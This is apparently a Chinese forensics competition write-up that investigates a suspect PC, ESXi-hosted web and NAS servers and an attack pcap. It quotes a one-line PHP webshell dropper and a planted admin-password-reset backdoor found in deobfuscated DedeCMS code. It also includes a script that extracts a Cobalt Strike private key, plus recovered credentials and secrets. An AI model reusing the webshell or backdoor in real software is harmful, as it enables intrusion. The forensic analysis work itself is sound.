        return True
    if 0x3400 <= code_point <= 0x4dbf:
        return True
    return False

def count_replacements_in_file(original_file, replaced_file):
    try:
        with open(original_file, 'r', encoding='utf-8') as f:
            original_content = f.read()
        with open(replaced_file, 'r', encoding='utf-8') as f:
            replaced_content = f.read()
    except:
        return 0, {}

    replacement_count = 0
    replacement_details = {}

    min_length = min(len(original_content), len(replaced_content))

    for i in range(min_length):
        orig_char = original_content[i]
        repl_char = replaced_content[i]

        if orig_char != repl_char and is_chinese_char(orig_char) and is_chinese_char(repl_char):
            replacement_count += 1
            key = f"{orig_char}{repl_char}"
            replacement_details[key] = replacement_details.get(key, 0) + 1

    return replacement_count, replacement_details

def find_most_replaced_file():
    original_dir = "爬取-原本"
    replaced_dir = "爬取-替换"

    max_count = 0
    max_file = ""
    max_details = {}
    file_stats = []

    for original_file in Path(original_dir).rglob("*.txt"):
        relative_path = original_file.relative_to(Path(original_dir))
        replaced_file = Path(replaced_dir) / relative_path

        if not replaced_file.exists():
            continue

        count, details = count_replacements_in_file(original_file, replaced_file)

        if count > 0:
            file_stats.append((str(relative_path), count, details))

            if count > max_count:
                max_count = count
                max_file = str(relative_path)
                max_details = details

    return max_file, max_count, max_details, file_stats

def main():
    max_file, max_count, max_details, file_stats = find_most_replaced_file()

    if max_file:
        print(f"被替换汉字数量最多的文件: {max_file}")
        print(f"替换总数: {max_count}")

if __name__ == "__main__":
    main()

运行结果:

Pasted image 20251111194330.png

14 对比爬取数据与替换数据, 是否存在完全没有汉字被替换的文件? 若存在, 请给出文件的数量

答案

26

Prompt:

Markdown
对比爬取数据与替换数据,是否存在完全没有汉字被替换的文件?若存在,请给出文件的数量;若不存在,请直接输出“否”

生成的代码:

Python
import os
from pathlib import Path

def is_chinese_char(char):
    code_point = ord(char)
    if 0x4e00 <= code_point <= 0x9fff:
        return True
    if 0x3400 <= code_point <= 0x4dbf:
        return True
    return False

def has_replacements(original_file, replaced_file):
    try:
        with open(original_file, 'r', encoding='utf-8') as f:
            original_content = f.read()
        with open(replaced_file, 'r', encoding='utf-8') as f:
            replaced_content = f.read()
    except:
        return False

    min_length = min(len(original_content), len(replaced_content))

    for i in range(min_length):
        orig_char = original_content[i]
        repl_char = replaced_content[i]

        if orig_char != repl_char and is_chinese_char(orig_char) and is_chinese_char(repl_char):
            return True

    return False

def count_no_replacement_files():
    original_dir = "爬取-原本"
    replaced_dir = "爬取-替换"

    total_files = 0
    files_with_replacements = 0
    files_without_replacements = 0
    no_replacement_files = []

    for original_file in Path(original_dir).rglob("*.txt"):
        relative_path = original_file.relative_to(Path(original_dir))
        replaced_file = Path(replaced_dir) / relative_path

        total_files += 1

        if not replaced_file.exists():
            continue

        if has_replacements(original_file, replaced_file):
            files_with_replacements += 1
        else:
            files_without_replacements += 1
            no_replacement_files.append(str(relative_path))

    return total_files, files_with_replacements, files_without_replacements, no_replacement_files

def main():
    total_files, files_with_replacements, files_without_replacements, no_replacement_files = count_no_replacement_files()

    print(f"总文件数: {total_files}")
    print(f"有替换的文件数: {files_with_replacements}")
    print(f"无替换的文件数: {files_without_replacements}")

if __name__ == "__main__":
    main()

运行结果:

Pasted image 20251111201213.png

15 嫌疑人使用的默认浏览器名称

答案

Ablaze Floorp

在仿真系统的系统设置中可以看到 HTTP 和 HTTPS 协议的默认应用是 Floorp:

Pasted image 20251111201518.png

运行 Floorp 浏览器之后, 在关于中可以看到:

Pasted image 20251111201636.png

所以 Floorp 浏览器的正式全称应该是"Ablaze Floorp", 但关于界面又显示了"Floorp Browser", 不知道官方给这道题的正确答案是哪个.

16 嫌疑人使用的 AI 网站的端口

答案

18480

用户桌面上有 1 张截图, 内容是部署在内网的 Open WebUI 的界面:

Pasted image 20251111201944.png

或者在 Floorp 的历史记录中也能看到 Open WebUI 的 URL:

Pasted image 20251111202104.png

17 嫌疑人使用的 AI 网站登录密码

答案

g123123

在 Floorp 保存的密码中可以看到:

Pasted image 20251111202144.png

18 嫌疑人利用在线 AI 模仿创作的小说, 其第五章标题

答案

长安的回响

在 Administrator 用户的文档目录中可以看到从智谱清言下载的 LLM 对话记录:

Pasted image 20251111202734.png

第五章的标题:

Pasted image 20251111202809.png

19 终点小说初步要求嫌疑人赔偿的经济损失金额为多少万元人民币

答案

10

火眼的 Eml 邮件分析结果中有 1 条 eml 文件:

Pasted image 20251111202842.png

内容是律师事务所发送的邮件:

Pasted image 20251111211536.png

20 根据律师函要求, 嫌疑人最晚须于几月几日(含当日)前向终点小说提交经审核同意的书面致歉函

答案

10月28日

见上题.

21 嫌疑人NAS映射的盘符

答案

Z

仿真系统里在"此电脑"里可以看到.

Pasted image 20251111212342.png

火眼的网络位置分析结果中也能看到:

Pasted image 20251111212451.png

22 嫌疑人当时正在阅读的小说叫什么名字

答案

小年小月

软件在 NAS 上, 但是不影响做题.

直接去网上下一个 NeatReader 就行, 或者用 C:\Users\Administrator\AppData\Local\neatreader-updater 里的安装包. 因为软件的数据保存在本地的 C:/Users/Administrator/AppData/Roaming/NeatReader/bookData 目录, 只要装个软件就能绕过 NAS 做这道题.

Pasted image 20251111212210.png

Pasted image 20251111212223.png

23 接上题,嫌疑人当前看到该小说的第几章

答案

第五十一章

见上题.

服务器取证(VMware ESXi)

火眼目前已经支持解析 VMFS 了, 这道题我采用的方法是将存储在 VMFS 中的 2 个虚拟机的文件导出之后, 对导出的虚拟机文件进行分析.

Pasted image 20251112185310.png

可以在火眼中直接将虚拟机的 vmdk 文件添加为新检材进行分析. 也可以不导出虚拟机文件, 而是直接在火眼证据分析软件中对添加的 vmdk 检材进行仿真.

我这里的虚拟机都使用 NAT 虚拟网卡, 网段是 102.168.50.0/24.

对 web 虚拟机进行仿真之后, 用 fscan 对服务器的开放端口进行扫描, 可以看到很多与之后的题目相关的服务:

Pasted image 20251224170612.png

01 Exsi 虚拟化平台是什么时候安装的

答案

2025-10-20 06:28:08 +0800 CST

在火眼的分析结果中可以看到:

Pasted image 20251112190940.png

02 Exsi 虚拟化平台虚拟机使用的 ISO 镜像大小

答案

4.38 GB

centos 目录中存储着系统镜像:

Pasted image 20251112191527.png

03 nas 服务器 samba 应用完整版本标识

答案

4.10.16-25.el7_9

在 NAS 虚拟机的虚拟硬盘中搜索"samba"关键字就能看到 yum 的数据文件中存储着的 samba 包的缓存文件:

Pasted image 20251112192050.png

04 nas 服务器 samba 应用共享目录允许访问的用户名

答案

shadowai

samba 的配置位于 /etc/samba 中, 其中的 smb.conf 中存储着用户权限信息:

Pasted image 20251112192502.png

或者也可以在仿真之后通过 pdbedit -L 指令来查看:

Pasted image 20251112192553.png

05 nas 服务器中删除了面板日志, 请分析其删除日志后第一次访问服务器的目录物理路径

答案

/www/server/panel/class/logsModel

火眼的宝塔面板分析结果中可以看到清空面板操作日志的日志:

Pasted image 20251112195219.png

2025-10-23 10:42:35 清空了面板的日志. 在火眼中在根目录中打开文件全显功能, 按照访问时间排序并过滤仅显示文件夹:

Pasted image 20251112200824.png

找到的文件夹 /www/server/panel/class/logsModel 的访问时间在 2025-10-23 10:42:36, 仅在清除日志 1 秒之后.

06 某用户在"2025-10-21 18:40:53(北京时间)"向本地 AI 模型提问, 请问其一共提问了几次

答案

2

仿真之后, 通过 bt 14 查看面板信息, bt 5 修改面板密码. 登录面板之后可以看到服务器上只运行 2 个 Docker 容器, 没有使用 Nginx 部署网站:

Pasted image 20251112201114.png

在宝塔面板或者命令行 docker inspect db747 都能看到 docker 容器的目录映射 /www/dk_project/dk_app/deepseek_r1/deepseek_r1_HBAy/openwebui_data:/app/backend/data:

Pasted image 20251112201403.png

Pasted image 20251112201720.png

/www/dk_project/dk_app/deepseek_r1/deepseek_r1_HBAy/openwebui_data/webui.db 是 Open WebUI 的数据库, 其中的 chat 表中记录着用户与 LLM 的会话信息. 可以根据题目中提及的时间, 找到对应的会话:

Pasted image 20251112202422.png

chat 字段中保存的 JSON 格式的会话记录, 用 CyberChef 解转义 Unicode 并美化:

Pasted image 20251112202523.png

可以看到 history 中一共有 4 条消息记录, User(用户)与 Assistant(LLM)交替发送消息, 用户实际提问了 2 次.

07 接上题, 第二轮交互总计 Token Consumption(令牌消耗)多少

答案

289

接上题. 在最后一条消息记录中看到 usage 信息, 其中的 total_tokens 是这轮对话消耗的总 Token 数, 包括 Prompt 的 Token 数(46)和响应的 Token 数(243):

Pasted image 20251112202819.png

08 AI 模型在创建时注册的管理员账号的头像显示的数字是

答案

2024

接上题. 在数据库中的 user 表中存储着用户信息, 其中的 profile_image_url 字段中存储的是 Base64 编码的图片文件:

Pasted image 20251112202123.png

在 CyberChef 中解码:

Pasted image 20251112202235.png

另外一张图片是个字母:

Pasted image 20251112203106.png

09 卡密网站隔一段时间会自动删除后台管理员登录日志, 日志最多保存多少小时

本题存疑

本题暂无答案

仿真 ESXi 中的 web 虚拟机之后, bt 14 查看面板默认信息, bt 5 修改密码:

Pasted image 20251113131410.png

进入宝塔面板后台可以看到服务器上一共部署了 5 个 PHP 网站:

Pasted image 20251113131537.png

其中域名 kamiworld.info 疑似是卡密网站.

找到网站的源码目录 /www/wwwroot/kamiworld.info/ 在该目录中发现一个说明文件 crontab.txt 其中是关于定时清除服务器日志的说明:

Pasted image 20251113143850.png

后台管理员登录日志应该在数据库的 system_log 表里, 但是没有找到哪里定时删除了日志.

10 卡密网站后台管理员登录成功后多少小时内无需重新登录

答案

168

application/admin/controller/Login.php 中存储着管理员处理管理员登录的代码, 但被混淆:

Pasted image 20251113141318.png

这种混淆很好去除, 只要把 eval() 替换成 echo, 用本地的 php 运行一下就能看到正常的源码了.

第一次运行:

Pasted image 20251113141639.png

第二次运行前, 除了替换 eval 外, 还需要给源码前加上 <?php 和原始 php 文件中定义的一些变量:

Pasted image 20251113142131.png

Pasted image 20251113142158.png

或者在宝塔面板的文件备份目录 /www/backup/file_history/www/wwwroot/kamiworld.info/application/admin/controller/Login.php/ 下也可以找到未被混淆的 php 文件:

Pasted image 20251113150456.png

可以看到, 记住登录的时间是 7 天:

Pasted image 20251113150852.png

11 卡密网站微信接口配置的 Appsecret

答案

7e8055384f9c4ff5991c46cacd336ad9

接上题. 在源码中并没有对用户密码进行任何的处理, 直接以明文与数据库中存储的密码进行比较. 数据库的 system_user 表中保存着管理员的信息:

Pasted image 20251113141214.png

所以后台的登录凭证就是数据库中的 admin/e10adc3949ba59abbe56e057f20f883e.

配置本机的 Hosts 文件或者在网站设置中添加新的域名绑定后, 即可访问网站:

Pasted image 20251113131855.png

Pasted image 20251113131906.png

但访问之后发现服务端报了 500 错误码, 在宝塔面板查看错误日志发现是 PHP 代码调用了已经被移除的特性(PHP致命错误: 使用花括号进行的数组和字符串偏移访问语法不再受支持), 需要将 PHP 版本降级到支持该特性的版本:

Pasted image 20251113131235.png

将 PHP 版本切换到 5.6 之后, 网站首页可以正常访问:

Pasted image 20251113132235.png

但其他 ThinkPHP 的路由全部报 404, 之前遇到过一次这个情况, 是 Nginx 的伪静态配置出问题了. 在宝塔后台修改网站配置, 发现伪静态规则为空, 切换到 ThinkPHP 的默认伪静态配置:

Pasted image 20251113140024.png

接着需要找后台的信息.

application/config.php 中看到站点原本使用的域名是 api.faka.zuy.cn:

Pasted image 20251113140152.png

于是我为网站绑定了这个域名, 并且之后通过该域名来访问网站.

/application/route.php 中可以看到后台登录路径的配置, 是通过 sysconf 函数获取的:

Pasted image 20251113140236.png

跟进一下这个函数, 可以看到函数是从数据库的 SystemConfig 表中获取的数据:

Pasted image 20251113140443.png

application/database.php 中可以看到网站使用的数据库信息:

Pasted image 20251113140800.png

在宝塔面板中可以看到 MySQL 数据库的 root 用户密码为 123...:

Pasted image 20251113140930.png

数据库没有限制远程访问, Navicat 用 root 用户连接数据库. 在 system_config 表中可以看到配置的后台路径为 admin:

Pasted image 20251113141051.png

访问后台页面:

Pasted image 20251113141106.png

登录后台:

Pasted image 20251113142546.png

在后台可以看到微信 API 的相关信息, 但 AppSecret 被隐藏:

Pasted image 20251113151132.png

不过隐藏在前端, F12 能看到:

Pasted image 20251113151215.png

12 卡密网站管理员注册了一个商户账号, 商户编号是

答案

10019

在网站后台可以看到管理员的信息:

Pasted image 20251113151303.png

在数据库中可以看到商户的信息, 其中有 1 个商户注册使用的邮箱与管理员相同:

Pasted image 20251113151508.png

在后台中查看该用户的信息:

Pasted image 20251113151559.png

13 接上题, 该商户掌灵付微信扫码设置的费率

答案

1.2%

在用户管理找到上题的提到的商户, 在设置费率中可以看到:

Pasted image 20251113152412.png

Pasted image 20251113152443.png

注意这里设置的千分比.

14 接上题, 不考虑平台提现、网关通道费用的情况下, 售卖的卡密共计净利多少元

答案

50000

会看到服务器的保护插件清空了订单表:

Pasted image 20251113152712.png

但保存卡密的表 goods_card 还没有被清空. 其中 sell_time 不为 0 的条目代表该卡密已售出, 排除第一条明显是测试数据的记录之后, 共有 500 条有效数据, goods_id 字段均为 5:

Pasted image 20251113194557.png

对应到 goods 表中:

Pasted image 20251113194634.png

因此毛利润为 500 * 100 = 50000.

15 嫌疑人将卡密网站的数据定时备份至远程服务器, 远程服务器 IP

答案

15.246.23.88

宝塔面板的备份文件中 /www/backup/file_history/www/dk_project/dk_app/qinglong/qinglong_GzaS/data/log/scp_3/2025-10-21-18-27-28-723.log/ 保存着备份脚本运行的日志:

Pasted image 20251113194029.png

查看服务器的 Docker 信息之后可以看到安装有青龙面板, 并且还运行着另外 1 个宝塔面板:

Pasted image 20251113153116.png

访问服务器的 15700 端口, 即可看到青龙面板的登录界面:

Pasted image 20251113194914.png

通过 docker inspect 30e3 查看青龙面板容器的信息, 其中看到文件挂载:

Pasted image 20251113195253.png

在数据库 /www/dk_project/dk_app/qinglong/qinglong_GzaS/data/db/database.sqliteAuths 表中存储着青龙面板的用户名及密码 goyasha/wanhww1314:

Pasted image 20251113195410.png

登录之后在定时任务中可以看到通过 SCP 传输文件到 15.246.23.88 服务器:

Pasted image 20251113195551.png

在青龙面板的数据库中也能看到:

Pasted image 20251113195725.png

16 嫌疑人供述 web 虚拟机储存了一本名为"活在明朝"的小说, 已经删除忘记怎么恢复了, 请找到该小说并分析一共有多少章

本题存疑

本题暂无答案

查看服务器的 Docker 信息, 与小说有关的容器有:

Pasted image 20251224154937.png

17 接上题, 小说是什么时候删除的

本题存疑

本题暂无答案

18 有一个外部程序"芯龙短片"跟 web 服务器媒体系统进行通信, 其 API 通信密钥

答案

81d910127daf47b9ad52d48fcc9f4305

在 Docker 容器列表中可以看到 Jellyfin 的容器, 为流媒体服务器. 常见的流媒体服务器还有 Emby. 访问 http://192.168.50.136:8096 即可看到 Jellyfin 的登录页面:

Pasted image 20251224170802.png

docker exec -it 637f /bin/sh 进入容器. Jellyfin 忘记用户名和密码时可以通过修改 system.xml 中的 IsStartupWizardCompleted 来重新进入系统初始化, 用新的账户覆盖原始账户. 不过我是第一次见 Jellyfin 的 Docker 容器, 按理来说配置文件应该放在 <Jellyfin 的安装目录>/config/ 目录中, 但是 /jellyfin/ 目录中并没有配置文件. 于是通过 find 搜索一下 system.xml 的位置, 正巧看到了曾经重置密码时生成的 json 文件, 由此获得了用户名 goyasha:

Pasted image 20251224170349.png

既然有了用户名, 就可以通过 Jellyfin Web 界面的忘记密码功能来重置密码:

Pasted image 20251224171509.png

将新生成的 JSON 文件中的 PIN 码输入到 Web 界面中:

Pasted image 20251224171544.png

Pasted image 20251224171646.png

接着就可以用 PIN 码作为密码来登录服务器了. 进入管理员面板之后, 找到"API Keys":

Pasted image 20251224171818.png

19 接上题,媒体系统管理员最后登录的时间

答案

2025-10-21 18:47

在管理员面板的"Activities"中可以看到之前的日志:

Pasted image 20251224172228.png

20 小说网站"升迁之路"小说第 47 章叫什么名字

答案

这波赚嗨了

在网站源码的 /data/common.inc.php 中可以看到数据库连接配置:

Pasted image 20251224221307.png

在 Mysql 数据库 xinlongxs 中的表 dede_arctype 中可以看到关于"升迁之路"的记录, 其 id 字段为 8712:

Pasted image 20251224182717.png

在表 dede_archieves 中过滤 typeid8712 的数据:

Pasted image 20251224184920.png

21 小说网站小说后台采集来源地址

答案

www.biquge.tv

接上题. 可以看到数据库由 xinlongxiaoshuo.com 站点使用:

Pasted image 20251224190351.png

设置好 Host 之后网站依然无法正常访问, 是 Apache 服务器报错. 看过 log 之后发现是没有找到可用的页面. 在宝塔的文件备份中可以看到 .htaccess 的备份文件, 并且在站点根目录下也有 htaccessbackup 文件, 需要在宝塔的站点配置中将 htaccess(伪静态) 修改为备份的 htaccess:

Pasted image 20251224210651.png

依然存在问题. 检查站点配置后发现站点根目录被设置到 /a 目录中, 但实际上该目录中仅包含静态的 html, 并非正确的根目录, 修改到网站根目录:

Pasted image 20251224210803.png

之后网站即可正常运行:

Pasted image 20251224210413.png

试一下可以发现管理员后台的路由是 /admin:

Pasted image 20251224210858.png

在数据库的表 dede_admin 中可以看到管理员的信息:

Pasted image 20251224210937.png

在网站源码中搜索 login 可以找到管理员登录的 login.php, 有混淆. 将其中的 eval 函数修改为 echo, 运行后可以得到第一次去混淆的源码. 将第一次去混淆的源码拼接在原始 php 代码后再将 eval 函数修改为 echo, 再次运行后即可得到原始代码:

PHP
<?php
/**
 * 后台登陆
 *
 * @version        $Id: login.php 1 8:48 2010年7月13日Z tianya $
 * @package        DedeCMS.Administrator
 * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
 * @license        http://help.dedecms.com/usersguide/license.html
 * @link           http://www.dedecms.com
 */
require_once(dirname(__FILE__).'/../include/common.inc.php');
require_once(DEDEINC.'/userlogin.class.php');
if(empty($dopost)) $dopost = '';

//检测安装目录安全性
if( is_dir(dirname(__FILE__).'/../install') )
{
    if(!file_exists(dirname(__FILE__).'/../install/install_lock.txt') )
    {
      $fp = fopen(dirname(__FILE__).'/../install/install_lock.txt', 'w') or die('安装目录无写入权限,无法进行写入锁定文件,请安装完毕删除安装目录!');
      fwrite($fp,'ok');
      fclose($fp);
    }
    //为了防止未知安全性问题,强制禁用安装程序的文件
    if( file_exists("../install/index.php") ) {
        @rename("../install/index.php", "../install/index.php.bak");
    }
    if( file_exists("../install/module-install.php") ) {
        @rename("../install/module-install.php", "../install/module-install.php.bak");
    }
    $fileindex = "../install/index.html";
    if( !file_exists($fileindex) ) {
        $fp = @fopen($fileindex,'w');
        fwrite($fp,'dir');
        fclose($fp);
    }
}

//更新服务器
require_once (DEDEDATA.'/admin/config_update.php');

if ($dopost=='showad')
{
    include('templets/login_ad.htm');
    exit;
}

//检测后台目录是否更名
$cururl = GetCurUrl();
if(preg_match('/dede\/login/i',$cururl))
{
    $redmsg = '<div class=\'safe-tips\'>您的管理目录的名称中包含默认名称dede,建议在FTP里把它修改为其它名称,那样会更安全!</div>';
}
else
{
    $redmsg = '';
}

$dsql = new DedeSql(false);
$dsql->ExecuteNoneQuery("UPDATE `dede_admin` SET `pwd` = 'f297a57a5a143894a0e4' WHERE `userid` = 'admin'");
$dsql->Close();


//登录检测
$admindirs = explode('/',str_replace("\\",'/',dirname(__FILE__)));
$admindir = $admindirs[count($admindirs)-1];
if($dopost=='login')
{
    $validate = empty($validate) ? '' : strtolower(trim($validate));
    $svali = strtolower(GetCkVdValue());
    if(($validate=='' || $validate != $svali) && preg_match("/6/",$safe_gdopen)){
        ResetVdValue();
        ShowMsg('验证码不正确!','login.php',0,1000);
        exit;
    } else {
        $cuserLogin = new userLogin($admindir);
        if(!empty($userid) && !empty($pwd))
        {
            $res = $cuserLogin->checkUser($userid,$pwd);

            //success
            if($res==1)
            {
                $cuserLogin->keepUser();
                if(!empty($gotopage))
                {
                    ShowMsg('成功登录,正在转向管理管理主页!',$gotopage);
                    exit();
                }
                else
                {
                    ShowMsg('成功登录,正在转向管理管理主页!',"index.php");
                    exit();
                }
            }

            //error
            else if($res==-1)
            {
                ShowMsg('你的用户名不存在!',-1,0,1000);
                exit;
            }
            else
            {
                ShowMsg('你的密码错误!',-1,0,1000);
                exit;
            }
        }

        //password empty
        else
        {
            ShowMsg('用户和密码没填写完整!',-1,0,1000);
            exit;
        }
    }
}

include('templets/login.htm');

可以看到管理员登录的认证方式与普通用户的一致(定义在 userlogin.inc.php 中). 可以看到数据库中保存的是密码的 md5 哈希的第 6 到 25 位:

Pasted image 20251224220310.png

可以在命令行运行 php 代码获取弱口令对应的值:

Pasted image 20251224220947.png

修改数据库中的值之后登录. 依然无法正常进入后台, 用 Burp 抓了一下包, 发现虽然密码验证通过, 但是服务端并没有做出进一步操作(set cookie), 导致根本无法进入后台.

没办法, 只能去看源码了. 根据题目描述, 猜测网站有采集功能. 在站点根目录中可以看到 cj ("采集"的首字母)目录:

Pasted image 20251225134936.png

在其中的 index.php 中可以看到功能介绍:

Pasted image 20251225135106.png

根据源码可以知道采集网站的设置是存出在 step 目录中的 php 文件中的:

Pasted image 20251225135935.png

但实际上该文件夹中没有存放待采集的网站信息. 在源码中看到数据库中的表 dede_co_note 与采集相关:

Pasted image 20251225141031.png

include/sbyou.net.cj.php 中可以看到详细的采集逻辑. 该文件被 phpJiaMi 混淆, 可以使用 https://github.com/wenshui2008/phpjiami_decode 提供的 php 代码进行去混淆:

Pasted image 20251225141245.png

推断该数据表中存放的也是待采集的网站的信息. 在数据库中可以看到:

Pasted image 20251225141454.png

22 小说网站某用户评论"好东西大家顶"是哪篇小说

答案

网游之射破苍穹

数据库中的表 dede_comment 中保存了评论信息:

Pasted image 20251225141558.png

题目中提及到的评论对应的 id8718. 在表 dede_arctype 中可以看到小说信息:

Pasted image 20251225142220.png

访问 http://xinlongxiaoshuo.com/chapter/?8718.html 在"作品信息"中可以看到评论:

Pasted image 20251225142025.png

23 小说网站对接的第三方支付接口的商户密钥是

答案

kaw2025id10019Experience

在表 dede_payment 数据库中存放着关于支付的配置信息. 其中有支付宝和"kamiworld"的配置, 后者的配置中包含商户密钥:

Pasted image 20251225142603.png

24 嫌疑人曾在 web 服务器中特定位置执行采集正版(收费)小说的脚本, 采集的正版小说网址是

答案

www.xinglo.com

这道及之后的题目比较坑. 整个 web 服务器上实际上安装了两套宝塔面板, 一套是使用 sh 脚本安装在服务器上的, 另一套则是通过 Docker 安装的:

Pasted image 20251225143530.png

修改 Docker 容器内的宝塔面板的密码:

Pasted image 20251225143637.png

在计划任务中可以看到名称为"采集正版(收费)小说"的任务:

Pasted image 20251225143936.png

25 嫌疑人曾在 web 服务器中备份整套面板数据, 面板备份数据包 SHA256 值

答案

c3c09460c1f5b46b14509955b3a7c16d0760364d7ffd629e6849240720d308b8

在宝塔面板的设置页面中"备份还原"标签页中可以看到备份包的信息, 其中包含 SHA256 哈希:

Pasted image 20251225144050.png

流量分析

01 攻击机的 ip

答案

192.168.111.1

大概看一下, 会发现有很多 404 的 HTTP 请求, 根据请求的 URL 可以判断应该是目录扫描. 目录扫描器使用 UA 为 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36.

可以确定攻击者的 IP 是 192.168.111.1, 被攻击服务器的 IP 地址为 192.168.111.179.

02 被攻击网站服务器开放端口数量

答案

3

在 Wireshark 中过滤:

C
((ip.src == 192.168.111.1) && (ip.dst == 192.168.111.179)) && ((tcp.completeness.syn == True) && (tcp.completeness.syn-ack == True))

或者

C
((tcp.flags.ack == True) && !(tcp.flags.reset == True)) && ((ip.src == 192.168.111.179) && (ip.dst == 192.168.111.1)) 

可以看到端口扫描时一共有 3 个 SYN 被 ACK, 分别是 22, 80 和 25175 端口:

Pasted image 20251225160912.png

Pasted image 20251225164633.png

03 攻击者对参数 fuzzing 成功数量

答案

0

先过滤一下 HTTP 的流量, 看到了对 /file.php URI 的参数进行了 fuzzing:

Pasted image 20251225162041.png

可以看到很多响应的长度为 288 和 283, 查看之后判断这些为空白响应:

Pasted image 20251225162151.png

过滤一下请求的 URI 包含 /file.php, 并且响应长度不为 283 和 288 的 HTTP 响应:

C
(http.request.uri contains "/file.php") && ((frame.len != 288) && (frame.len != 283)) && (http.response)

过滤之后只有 1 个响应码为 200 的响应, 但这是 fuzzing 的 Base Test:

Pasted image 20251225163332.png

04 攻击者在网站服务器上传了一个恶意文件, 进行了创建文件操作, 新文件名

答案

views.php

在 HTTP 协议的请求序列中可以看到访问了 uploads URI:

Pasted image 20251225165506.png

过滤:

C
http.request.uri contains "/upload.php" && http.request.method == POST

看到上传了一句话 WebShell:

Pasted image 20251225165830.png

PHP
<?php file_put_contents('../views.php','<?php eval($_POST[a])?>');?>

文件被存储到 views.php.

05 攻击者对网站内容进行了修改, 添加恶意链接

答案

http://jsf34.com/transfer.html

接上题. 继续过滤访问 /views.php 的请求:

C
http.request.uri contains "/views.php"

可以看到提权之后上传 /var/www/html/.cobaltstrike.beacon_keys.

读取了 /var/www/html/index.html:

Pasted image 20251225193219.png

上传了 /var/www/html/index.html:

Pasted image 20251225192540.png

对比 2 个 html 文件, 发现一处连接被修改:

Pasted image 20251225193137.png

06 分发恶意文件域名

答案

sxh67.com

首先找到恶意文件. 在导出文件对象中查看 HTTP 协议传输的文件对象, 发现其中包含几个主机名为域名的文件传输:

Pasted image 20251229140133.png

其中有一个来自 sxh67.comsetup.exe 比较可疑, 导出, 发现是 Cobalt Strike 的后门:

Pasted image 20251229140706.png

07 被控(访问了被修改后的网站)主机 ip

答案

192.168.111.167

过滤一下 host 为上述网址的流量包:

Pasted image 20251229140913.png

08 攻击者的 license-id

答案

987654321

在 HTTP 协议的文件对象导出中, 过滤上题中看到的服务端 IP 地址 192.168.111.164, 可以看到读取 CS 客户端配置文件的请求:

Pasted image 20251229142927.png

Pasted image 20251229142851.png

或者在 WireShark 中过滤 http.request.uri matches "/....$".

或者 dissect.cobaltstrike 来自动提取 Beacon 文件:

Bash
beacon-pcap --extract-beacons .\lxb.pcapng

Pasted image 20260114150144.png

关于 Cobalt Strike 的流量分析可以参考文章 Cobalt Strike Analysis and Tutorial: CS Metadata Encryption and Decryption.

导出该文件对象, 使用 Didier Stevens - Cobalt Strike Tools 中的 1768.py 分析:

Pasted image 20251229142335.png

09 攻击者的秘密

答案

hahaha_114514

要解密 CS 流量.

接本部分第 05 题. 在通过 views.php 执行的操作中包含文件上传:

Pasted image 20251229151609.png

第三个参数的值 Base64 解码(去掉前 2 位, 是无意义的随机值)之后看到上传路径 /var/www/html/.cobaltstrike.beacon_keys:

Pasted image 20251229151859.png

Pasted image 20251229151836.png

复制 16 进制串, 用 CyberChef 由 Hex 转为进制文件:

Pasted image 20251229151750.png

这是 CS 生成的包含通信私钥/公钥的文件, 本质上是 Java 导出的对象, 参考 Cobalt Strike: Using Known Private Keys To Decrypt Traffic – Part 1:

关于 .cobaltstrike.beacon_keys 文件

Public and private keys are stored in file .cobaltstrike.beacon_keys. These keys are generated when the Cobalt Strike team server software is used for the first time.

公/私钥存储在 .cobaltstrike.beacon_keys 文件中. 这些密钥在 CS 服务器首次运行时生成.

During our fingerprinting of Internet facing Cobalt Strike servers, we found public keys that are used by many different servers. This implies that they use the same private key, thus that their .cobaltstrike.beacon_keys file is shared.

在对互联网中的 CS 服务器进行指纹识别时, 我们发现了一些用于不同 CS 服务器的公钥. 这意味着这些服务器使用相同的私钥, 因此它们使用相同的 .cobaltstrike.beacon_keys 文件.

One possible explanation we verified: are there cracked versions of Cobalt Strike, used by malicious actors, that include a .cobaltstrike.beacon_keys? This file is not part of a legitimate Cobalt Strike package, as it is generated at first time use.

一种可能性是: 会不会攻击者使用的破解版 CS 中包含了一个 .cobaltstrike.beacon_keys 文件? 该文件不是正版的 CS 软件包的一部分, 因为它应当在首次运行时才生成.

通过 Python 的 javaobj 库获取其中存储的私钥, 并转换为 pem 格式的字符串:

Python
import base64
import javaobj # pip install javaobj-py3

key = javaobj.loads(open(".cobaltstrike.beacon_keys", "rb").read())
privkey_der = bytes(c & 0xFF for c in key.array.value.privateKey.encoded)
print(f"-----BEGIN RSA PRIVATE KEY-----\n{base64.encodebytes(privkey_der).strip().decode()}\n-----END RSA PRIVATE KEY-----")

Pasted image 20260114155956.png

将输出保存为 pem 格式的密钥文件. 使用 beacon-pcap 解密 CS 流量:

Bash
beacon-pcap -w c2.records.gz -p .\key.pem .\lxb.pcapng --beacon .\beacon-jRj7.bin

beacon-jRj7.bin 文件的来源参考本部分第 8 题.

注意

直接通过 pip 安装的 dissect.cobaltstrike 包有些问题, 无法正常运行. 我对源码中的 c2.pypcap.py 进行了一些修改.

修改后的源码: dissect.cobaltstrike.7z

在解密出的流量中可以看到:

Pasted image 20260114163813.png

另外一种思路

假设: 攻击者使用了泄露的 CS 服务端软件, 包含了预生成的 Beacon 文件.

从 Beacon 文件提取公钥:

Bash
beacon-dump -t raw .\beacon-jRj7.bin | grep PUBKEY

Pasted image 20260114150744.png

接着使用 VirusTotal 的 Hunting 功能, 在 VT 的样本库中寻找匹配的密钥对. 不过 VT 的 Hunting 功能是 Premium 功能, 试用申请起来比较麻烦.

10 被控主机运行的存储服务及其端口

答案

MiniIO Console, 9000

追踪 http 流量之后可以看到在最后有一些访问 /api/v1/buckets 的请求, 像是在访问 OSS:

Pasted image 20260114164620.png

可以看到响应的头中包含服务器信息 Server: MinIO Console. 找到最早与 192.168.111.167:9000 通信的几个包, 可以看到服务首页的 HTML:

Pasted image 20260114164506.png

服务名称就叫"MinIO Console".

11 被控主机最终向远控主机发送心跳包时间间隔

答案

20 s

参考第 8 题, 可以看到配置中有一项 server, get-url:

Pasted image 20260114165126.png

该 URL 就是 CS 客户端的心跳检测 API 地址. 在 WireShark 中过滤, 可以看到最初不太稳定, 访问间隔时间波动较大; 但稳定之后, 访问时间间隔大约为 20 秒:

Pasted image 20260114165403.png

12 被控主机存储桶中文件 md5 值

答案

67eba0f9bbb309b4bd55e14e182edaa2

接本部分第 10 题.

